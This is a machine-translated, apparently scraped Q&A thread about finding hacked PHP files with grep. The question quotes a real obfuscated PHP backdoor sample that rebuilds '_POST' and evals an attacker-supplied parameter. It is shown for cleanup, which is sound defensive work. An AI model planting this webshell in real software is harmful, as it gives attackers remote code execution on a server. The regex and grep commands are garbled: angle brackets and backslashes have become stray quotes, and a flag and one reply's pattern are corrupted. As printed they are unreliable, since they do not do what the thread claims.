查找所有在打开php标记后有2个以上空白的php文件


Find all php files that has more than 2 white spaces after the opening PHP tag

我现在的职位让我整天都在清理被黑客入侵的网站。我设法在主服务器上获得了shell访问权限,这样我就可以运行一些快速命令来隔离有问题的文件并将其删除。

以下是一个有问题的文件示例:

"php                                    $uzi51="otpres_u"; $zlg07= $uzi51[5]. $uzi51[1]. $uzi51[3]. $uzi51[1].$uzi51[0]. $uzi51[7].$uzi51[2]. $uzi51[2]. $uzi51[4]. $uzi51[3];$rpu17=$zlg07 ($uzi51[6].$uzi51[2].$uzi51[0]. $uzi51[5]. $uzi51[1] ) ; if( isset( ${ $rpu17 }[ 'q635689'] )){ eval( ${$rpu17}['q635689' ] ) ;}

这是这些类型的漏洞利用的典型行为。打开php标签,然后总是超过2个空格。

我尝试过的命令:

grep -rl ''?php[ ]{2,}()' directory/

我使用此网站构建了正则表达式:https://regex101.com/#pcre这显示了我在上面粘贴的代码的完美匹配。但是当我集成到grep中时,在命令行中什么也不显示。我也试过:

pcregrep -rM ''?php['s]+[^'S]*$' *.php

在这一点上完全卡住了。

感谢任何帮助或指导。

我会使用这个:

grep -r '<?php '{3,'}'

它匹配后面跟有3个或更多空白的<?php

-P标志添加到grep命令中。它告诉grep使用perl regex。

grep -Prl ''?php[ ]{2,}()' directory/

来自man grep

-p

--perl regexp

将模式解释为Perl正则表达式。这是高度实验性和"grep-P"可能会警告未实现功能。